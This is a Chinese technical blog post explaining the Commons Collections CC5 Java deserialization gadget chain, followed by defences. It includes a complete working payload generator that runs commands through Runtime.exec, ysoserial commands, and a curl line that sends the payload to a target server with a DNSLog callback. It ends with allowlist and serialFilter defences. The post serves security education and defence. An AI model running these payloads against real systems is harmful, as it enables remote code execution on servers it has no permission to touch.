java反序列化:CC5利用链解析

CommonsCollections5(CC5)是Apache Commons Collections反序列化漏洞利用链的重要变种,由安全研究员Matthias Kaiser在2016年发现。本文将深入剖析其原理、构造技巧和防御方案。


一、CC5链技术背景

CC5链在Java 8u76之前有效,利用BadAttributeValueExpException作为入口点,结合TiedMapEntryLazyMap实现代码执行。相比CC1链,它解决了以下问题:

  1. 绕过AnnotationInvocationHandler依赖(Java 8u71+修复)
  2. 兼容更高版本JDK(8u76前)
  3. 使用更通用的JDK内置类

二、漏洞利用链原理

完整调用链

	Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()                             

在这里插入图片描述

核心触发点分析

// javax.management.BadAttributeValueExpException
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();//漏洞触发点
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

三、关键类源码剖析

1. TiedMapEntry 触发点
// org.apache.commons.collections.keyvalue.TiedMapEntry
public Object getValue() {
    return this.map.get(this.key); // 调用LazyMap.get()
}

public String toString() {
    return this.getKey() + "=" + this.getValue(); // 反序列化入口
}
2. LazyMap 利用点
// org.apache.commons.collections.map.LazyMap
public Object get(Object key) {
    if (!map.containsKey(key)) {
        Object value = factory.transform(key); // 执行Transformer链
        map.put(key, value);
        return value;
    }
    return map.get(key);
}
3. Transformer 执行链

详情请看之前的文章

// 恶意Transformer链构造
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", ...),
    new InvokerTransformer("invoke", ...),
    new InvokerTransformer("exec", ...)
};

四、完整Payload构造

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5Exploit {
    public static byte[] generatePayload(String cmd) throws Exception {
        // 1. 构造Transformer执行链
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", new Class[0]}
            ),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, new Object[0]}
            ),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{cmd}
            )
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
        
        // 2. 构造LazyMap
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chain);
        
        // 3. 构造TiedMapEntry
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "trigger_key");
        
        // 4. 设置BadAttributeValueExpException
        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(bad, entry); // 注入恶意对象
        
        // 5. 序列化Payload
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(bad);
        }
        return baos.toByteArray();
    }

    public static void main(String[] args) throws Exception {
        byte[] payload = generatePayload("calc.exe");
        
        // 模拟漏洞环境
        try (ByteArrayInputStream bais = new ByteArrayInputStream(payload);
             ObjectInputStream ois = new ObjectInputStream(bais)) {
             
            ois.readObject(); // 触发漏洞
        }
    }
}

在这里插入图片描述

  • 一般来说反序列化利用链代码的编写是倒着来写的,首先是transform链的构造,如果某个类可以调用transformChaintransform方法,则可以执行命令,发现LazyMapdget函数能执行transform方法。
  • 进一步发现TiedMapEntrytoString方法能执行LazyMapdget函数。
  • 现在要寻找一个类的readObject方法能执行toString方法,找到BadAttributeValueExpException类可以。
  • 那么通过反射构造一个恶意BadAttributeValueExpExceptionn类,通过反序列化触发readObject方法就能实现命令执行。

五、利用方式详解

1. 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections5 "cmd /c calc.exe" > payload.bin
2. 漏洞检测流程
  1. 环境验证

    • Commons Collections 3.1 - 3.2.1
    • JDK < 1.8u76
  2. 利用步骤

    # 生成Payload
    java -jar ysoserial.jar CommonsCollections5 "nslookup dnslog.cn" > payload.bin
    
    # 发送Payload到目标
    curl http://vuln-server/deserialize --data-binary @payload.bin
    
    # 检查DNSLog记录
    
3. 实战利用场景
  • Weblogic:T3协议反序列化
  • JBoss:JMXInvokerServlet
  • WebSphere:反序列化入口点
  • 自定义协议:任何接收Java序列化数据的地方

六、防御解决方案

1. 组件级防御
<!-- 升级Commons Collections -->
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.4</version>
</dependency>
2. 代码级防护
// 使用SafeObjectInputStream
public class SecureObjectInputStream extends ObjectInputStream {
    private static final String[] ALLOWED_CLASSES = {
        "java.lang.String", 
        "java.util.HashMap"
    };

    public SecureObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) 
        throws IOException, ClassNotFoundException {
        
        String className = desc.getName();
        for (String allowed : ALLOWED_CLASSES) {
            if (className.equals(allowed)) {
                return super.resolveClass(desc);
            }
        }
        throw new InvalidClassException("Unauthorized deserialization", className);
    }
}
3. JVM级防护
# 启动参数添加过滤器
java -Djdk.serialFilter='!org.apache.commons.collections.**;!javax.management.BadAttributeValueExpException;!*' \
     -jar application.jar

七、技术总结与对比

特性CC1链CC5链CC7链
入口点AnnotationInvBadAttributeHashtable
JDK限制<8u71<8u76
依赖类LazyMapTiedMapEntryAbstractMap
利用复杂度中等中等复杂
通用性

CC5链核心优势

  1. 不依赖sun.reflect包,兼容性更强
  2. 使用JDK内置异常类作为入口点
  3. 构造过程无需动态代理
  4. 在Java 8u76前广泛有效

截至2023年,CC5链在未升级的Weblogic 10.3.6环境中仍有实战价值,是红队评估中的常用武器。

通过深入理解CC5链的实现机制,安全人员可以更好地进行漏洞挖掘和防御,同时为分析更复杂的反序列化漏洞奠定基础。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安spinage

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值